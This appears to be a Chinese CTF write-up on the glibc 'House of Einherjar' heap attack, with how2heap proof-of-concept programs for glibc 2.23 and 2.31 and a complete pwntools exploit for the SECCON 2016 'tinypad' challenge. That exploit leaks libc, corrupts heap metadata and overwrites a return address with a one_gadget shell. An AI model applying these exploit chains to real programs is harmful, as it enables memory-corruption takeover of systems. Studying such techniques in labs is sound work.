House Of Einherjar

House Of Einherjar

2.23

一般就是有off by one可以覆盖previnuse位,释放时会触发下面的合并

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

wiki上的例子

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0); 
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}
from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

在s1通过堆块的空间复用,在s2的prevsize写上0x220,并用off by one把previnuse位置零,

s2堆情况

image-20230730141511488

s1-prevsize找到假堆块进行unlink操作,假堆块s0还需要绕过unlink里下面的检查

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size");
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

下面的图if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \绕过

image-20230730142117126

下面的图if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\绕过

image-20230730142455457

free(s2)后就可以把s0 0x7ac010放入unsortedbin了

image-20230730142640857

how2heap例子

来自hollk师傅博客的简化版,上一个例子如果把伪造堆伪造到栈上会因为堆块太大,导致申请不出来,办法就是和topchunk合并后申请

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
//gcc -g hollk.c -o hollk //glibc-2.23 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

uint8_t* a;
uint8_t* b;
uint8_t* d;

a = (uint8_t*)malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);

//在栈上伪造fake chunk
size_t fake_chunk[6];
fake_chunk[0] = 0;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t)fake_chunk;
fake_chunk[3] = (size_t)fake_chunk;
fake_chunk[4] = (size_t)fake_chunk;
fake_chunk[5] = (size_t)fake_chunk;
printf("Our fake chunk at %p looks like:\n", fake_chunk);

b = (uint8_t*)malloc(0xf8);

int real_b_size = malloc_usable_size(b);
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("\nb.size: %#lx\n", *b_size_ptr);
//模拟off by one将b previnuse位置零
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);

size_t fake_size = (size_t)((b - sizeof(size_t) * 2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b - sizeof(size_t) * 2, fake_chunk, fake_size);

//模拟利用地址复用写b的prevsize
*(size_t*)&a[real_a_size - sizeof(size_t)] = fake_size;
//绕过unlink /if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) 检查
fake_chunk[1] = fake_size;
//unlink合并后会和topchunk合并
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//可以把fake_chunk申请出来
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
grxer@Ubuntu16 /m/h/s/h/glibc_2.31> ./a.out
a: 0xccf010
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:0x38
Our fake chunk at 0x7fff767b3280 looks like:
b: 0xccf050

b.size: 0x101
b.size: 0x100
Our fake prev_size will be 0xccf040 - 0x7fff767b3280 = 0xffff80008a51bdc0
Our fake chunk size is now 0xffff80008a53cd81 (b.size + fake_prev_size)
Next malloc(0x200) is at 0x7fff767b3290

绕过unlink大小的检测只需要*(fake_chunk+size)=size就行了,所以可以用下面的方法,用下面的方法因为时0x100大小是unsortedbin就不用把largebin才会用到的fd_nextsize和bk_nextsize覆写了

size_t fake_chunk[6]; 
fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t)fake_chunk;
fake_chunk[3] = (size_t)fake_chunk;
/* fake_chunk[4] = (size_t)fake_chunk; */
/* fake_chunk[5] = (size_t)fake_chunk; */
fake_chunk[0x100/8]=0x100;//绕过if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
把后面的fake_chunk[1] = fake_size;注释掉

2.31

how2heap例子

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// prepare the target
intptr_t stack_var[4];
printf("\nThe address we want malloc() to return is %p.\n", (char*)&stack_var);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t* a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t)a; // fwd
a[3] = (size_t)a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t* b = (uint8_t*)malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t* c = (uint8_t*)malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);

//覆写c的previnuse位为0
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
b[real_b_size] = 0;
printf("c.size: %#lx\n", *c_size_ptr);


// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*)a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
//覆写c的prevsize
*(size_t*)&b[real_b_size - sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size 来绕过unlink的大小检查
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t* x[7];
for (int i = 0; i < sizeof(x) / sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for (int i = 0; i < sizeof(x) / sizeof(intptr_t*); i++) {
free(x[i]);
}
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
//free c后就会把b包裹起来放入unsortedbin里
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t* d = malloc(0x158);
//d会把b再次申请出来
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
//这里主要是防止后面申请堆块时 tcache_index<0导致失败
uint8_t* pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
//修改tcache里b的下一个位空闲堆位目标地址
d[0x30 / 8] = (long)stack_var;

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t* e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == stack_var);
printf("Got control on target/stack!\n\n");
}

主要就是和tcache poisoning配合来使用了 利用堆块b来覆写c的prevsize和previnuse为到fakechunk的a块,freec后触发合并并绕过unlink b堆块还在使用但是被包裹放入unsortedbin里

image-20230730223649416

intptr_t* d = malloc(0x158);会把b申请到d里,后面free掉b链入tcache

image-20230730224051202

后面再利用d来覆写b的下一个空闲堆块为目标地址

image-20230730224245777

就可以申请出来了

2016 Seccon tinypad

libc 2.23

/m/h/s/c/p/h/2016_seccon_tinypad> checksec tinypad 
[*] '/mnt/hgfs/share/ctfwiki/pwn/heap/2016_seccon_tinypad/tinypad'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

自定的read_until有off by one的漏洞

unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, int terminate)
{
unsigned __int64 i; // [rsp+28h] [rbp-18h]
__int64 n; // [rsp+30h] [rbp-10h]

for ( i = 0LL; i < len; ++i )
{
n = read_n(0LL, &a1[i], 1LL);
if ( n < 0 )
return -1LL;
if ( !n || a1[i] == terminate )
break;
}
a1[i] = 0;
if ( i == len && a1[len - 1] != '\n' )
dummyinput(terminate);
return i;
}

delete时存在只是置零了大小,存在uaf

free(*(void **)&tinypad[16 * idx + 248]);
*(_QWORD *)&tinypad[16 * idx + 240] = 0LL;
writeln("\nDeleted.", 9uLL);

思路就是uaf泄露libc和heapbase,然后利用off by one来造成堆块重叠 就是2.31how2heap的例子,利用edit功能把管理区tinypad+256链入fastbin链表,申请到tinypad+256的管理区,由于edit功能时用来当前区域所存数据大小来作为重新读入的大小所以不能打free malloc的hook,只能利用environ全局变量,来泄露栈地址来覆盖main的返回地址为ogg

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./tinypad'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def add(size, content):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'a')
io.recvuntil(b'(SIZE)>>> ')
io.sendline(str(size).encode())
io.recvuntil(b'(CONTENT)>>> ')
io.sendline(content)


def edit(idx, content):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'e')
io.recvuntil(b'(INDEX)>>> ')
io.sendline(str(idx).encode())
io.recvuntil(b'(CONTENT)>>> ')
io.sendline(content)
io.recvuntil(b'Is it OK?\n')
io.sendline(b'Y')


def delete(idx):
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'd')
io.recvuntil(b'(INDEX)>>> ')
io.sendline(str(idx).encode())
# db('b *0x0400B55')# add readuntil
# db('b *0x0400C12')#delete free
# db('b *0x040098C')#menu show
# db('b *0x00400E17')#edit
#leak heapbase
add(0x20,b'a')
add(0x20,b'a')
add(0x20,b'a')
delete(2)
delete(3)
ru(b'# INDEX: 3\n')
ru(b'# CONTENT: ')
heapbase=uu64(r(4))-0x30
delete(1)
#leak libcbase
add(0x90,'a'*16)
add(0x90,'a'*16)
delete(1)
ru(b'# INDEX: 1\n')
ru(b'# CONTENT: ')
libcbase=uu64(r(6))-0x3c4b78
p('libcbase',libcbase)
p('heapbase',heapbase)
system=libcelf.sym['system']+libcbase
free_hook=libcelf.sym['__free_hook']+libcbase
delete(2)
chun1=heapbase
chun2=heapbase+0x30
chun3=heapbase+0x60
add(0x28,flat(0,0x20,chun1+0x10,chun1+0x10,0x20))
add(0x28,b'a'*0x28)
add(0xf0,b'a')
add(0x10,b'a')

for i in range(7):
edit(2,b'b'*(0x28-i))
edit(2,b'b'*0x20+p64(chun3-chun1-0x10))
# db('b *0x0400C12')#delete free
delete(3)
delete(1)
delete(2)
add(0x50,b'e'*0x10+p64(0x0)+p64(0x31)+p64(256+0x0602040-8))
delete(1)
add(0x31,b'a'*0x20)#绕过fastbin的大小检查
add(0x20,b'c')
# db('b *0x0400B55')# add readuntil
enviorn=libcbase+libcelf.sym['__environ']
add(0x20,flat(enviorn,0x31,256+0x0602040+8))
ru(b'# INDEX: 1\n')
ru(b'# CONTENT: ')
main_ret=uu64(r(6))-(0x7ffebf17a478-0x7ffebf17a388)
p('ret',main_ret)
ogg=libcbase+0x45226

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
edit(2,p64(main_ret))
edit(1,p64(ogg))
io.recvuntil(b'(CMD)>>> ')
io.sendline(b'q')
io.interactive()

写完之后去看了一眼wp,发现edit里会先把输入读到tinypad,可以直接用tinypad的区域来构造fakechunk,利用house of ejinherjar来申请到tinypad,这里要注意的是要在tinypad至少+0x20的位置去伪造fakechunk,因为后面申请的堆最大才0x100,太菜了刚开始没看出来呜呜